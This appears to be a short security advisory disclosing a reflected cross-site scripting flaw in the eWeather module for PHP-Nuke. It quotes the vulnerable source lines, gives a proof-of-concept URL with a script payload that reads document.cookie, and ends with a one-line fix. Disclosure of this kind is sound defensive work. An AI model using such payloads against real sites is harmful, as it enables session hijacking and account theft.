//////////XSS in PHP-Nuke (eWeather module)=0D
=0D
PHP-Nuke (http://phpnuke.org):=0D 
=0D
	PHP-Nuke is a news automated system specially designed to be used in=0D
Intranets and Internet. The Administrator has total control of his web site,=0D
registered users, and he will have in the hand a powerful assembly of tools=0D
to maintain an active and 100% interactive web site using databases.=0D
=0D
eWeather module (http://www.janitorialservice.us):=0D 
=0D
	Weather module based on eWeather.biz data with 3 additional blocks =0D
2 side and one center block.=0D
=0D
///Details=0D
=0D
>From source-code of /modules/eWeather/index.php=0D
=0D
Line 35: $zipCode=$chart;=0D
=0D
Line 47: echo "
USA weather for zip code $zipCode
";=0D
=0D
"chart" variable is unvalidated.=0D
=0D
///Exploit=0D
http://example.net/modules.php?name=eWeather&chart=[XSS]=0D 
http://example.net/modules.php?name=eWeather&chart=%3Cscript%3Ealert(document.cookie)%3C/script%3E=0D 
=0D
///Fix=0D
Change line 35 to "$zipCode=(int)$chart;"=0D
=0D
///Author:=0D
NetJackal=0D
=0D
http://netjackal.by.ru =0D 
http://hackerz.ir